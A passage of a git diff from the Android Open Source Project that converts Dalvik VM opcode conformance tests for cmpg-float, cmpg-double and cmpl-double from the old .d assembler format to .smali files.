-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpg_double_6.java
-.class public dot.junit.opcodes.cmpg_double.d.T_cmpg_double_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)V
-.limit regs 16
-       move v0, v14
-       move v1, v14
-       move v2, v15
-       move v3, v15
-
-       cmpg-double v0, v0, v2
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_6.smali
new file mode 100644
index 0000000..0ad763b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_double_6.java"
+.class  public Ldot/junit/opcodes/cmpg_double/d/T_cmpg_double_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)V
+.registers 16
+       move v0, v14
+       move v1, v14
+       move v2, v15
+       move v3, v15
+
+       cmpg-double v0, v0, v2
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_1.d
deleted file mode 100644
index a32772d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpg_float_1.java
-.class public dot.junit.opcodes.cmpg_float.d.T_cmpg_float_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 9
-       cmpg-float v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_1.smali
new file mode 100644
index 0000000..539d585
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_float_1.java"
+.class  public Ldot/junit/opcodes/cmpg_float/d/T_cmpg_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 9
+       cmpg-float v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_2.d
deleted file mode 100644
index abaed4c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_2.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpg_float_2.java
-.class public dot.junit.opcodes.cmpg_float.d.T_cmpg_float_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 9
-       const-wide v1, 3.1414
-       cmpg-float v0, v7, v1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_2.smali
new file mode 100644
index 0000000..9a127ae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_2.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_float_2.java"
+.class  public Ldot/junit/opcodes/cmpg_float/d/T_cmpg_float_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 9
+       const-wide v1, 3.1414
+       cmpg-float v0, v7, v1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_3.d
deleted file mode 100644
index f741d1e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpg_float_3.java
-.class public dot.junit.opcodes.cmpg_float.d.T_cmpg_float_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 9
-       const-wide v1, 234234
-       cmpg-float v0, v1, v7
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_3.smali
new file mode 100644
index 0000000..40044ed
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_float_3.java"
+.class  public Ldot/junit/opcodes/cmpg_float/d/T_cmpg_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 9
+       const-wide v1, 234234
+       cmpg-float v0, v1, v7
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_4.d
deleted file mode 100644
index f40f08e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpg_float_4.java
-.class public dot.junit.opcodes.cmpg_float.d.T_cmpg_float_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 9
-       cmpg-float v0, v6, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_4.smali
new file mode 100644
index 0000000..71d4616
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_float_4.java"
+.class  public Ldot/junit/opcodes/cmpg_float/d/T_cmpg_float_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 9
+       cmpg-float v0, v6, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_5.d
deleted file mode 100644
index 46a019a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpg_float_5.java
-.class public dot.junit.opcodes.cmpg_float.d.T_cmpg_float_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 9
-       cmpg-float v0, v9, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_5.smali
new file mode 100644
index 0000000..09367cd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_float_5.java"
+.class  public Ldot/junit/opcodes/cmpg_float/d/T_cmpg_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 9
+       cmpg-float v0, v9, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_6.d
deleted file mode 100644
index 1051f14..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpg_float_6.java
-.class public dot.junit.opcodes.cmpg_float.d.T_cmpg_float_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 9
-       cmpg-float v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_6.smali
new file mode 100644
index 0000000..b6c4a58
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_float_6.java"
+.class  public Ldot/junit/opcodes/cmpg_float/d/T_cmpg_float_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 9
+       cmpg-float v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_1.d
deleted file mode 100644
index 03a840e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpl_double_1.java
-.class public dot.junit.opcodes.cmpl_double.d.T_cmpl_double_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)I
-.limit regs 16
-
-       cmpl-double v0, v12, v14
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_1.smali
new file mode 100644
index 0000000..7e8da2d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_double_1.java"
+.class  public Ldot/junit/opcodes/cmpl_double/d/T_cmpl_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)I
+.registers 16
+
+       cmpl-double v0, v12, v14
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_2.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_2.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_2.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_2.smali
new file mode 100644
index 0000000..6682867
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_2.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/cmpl_double/d/T_cmpl_double_2;
+.super Ljava/lang/Object;
+.source "T_cmpl_double_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(DD)I
+    .registers 16
+
+    const p3, 0x4048f5c3    # 3.14f
+
+    cmpl-double v0, p1, p3
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_3.d
deleted file mode 100644
index e132fa0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpl_double_3.java
-.class public dot.junit.opcodes.cmpl_double.d.T_cmpl_double_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)I
-.limit regs 16
-
-       cmpl-double v0, v12, v14
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_3.smali
new file mode 100644
index 0000000..fe17c14
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_double_3.java"
+.class  public Ldot/junit/opcodes/cmpl_double/d/T_cmpl_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)I
+.registers 16
+
+       cmpl-double v0, v12, v14
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_4.d
deleted file mode 100644
index cf01f55..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpl_double_4.java
-.class public dot.junit.opcodes.cmpl_double.d.T_cmpl_double_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)I
-.limit regs 16
-
-       const-wide v12, 12356
-       cmpl-double v0, v12, v11
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_4.smali
new file mode 100644
index 0000000..cb07604
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_double_4.java"
+.class  public Ldot/junit/opcodes/cmpl_double/d/T_cmpl_double_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)I
+.registers 16
+
+       const-wide v12, 12356
+       cmpl-double v0, v12, v11
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_5.d
deleted file mode 100644
index 453ee43..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpl_double_5.java
-.class public dot.junit.opcodes.cmpl_double.d.T_cmpl_double_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)I
-.limit regs 16
-
-       cmpl-double v0, v12, v16
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_5.smali
new file mode 100644
index 0000000..876857c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_double_5.java"
+.class  public Ldot/junit/opcodes/cmpl_double/d/T_cmpl_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)I
+.registers 16
+
+       cmpl-double v0, v12, v16
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_6.d
deleted file mode 100644
index 720ec7c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpl_double_6.java
-.class public dot.junit.opcodes.cmpl_double.d.T_cmpl_double_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)V
-.limit regs 16
-       move v0, v14
-       move v1, v14
-       move v2, v15
-       move v3, v15
-
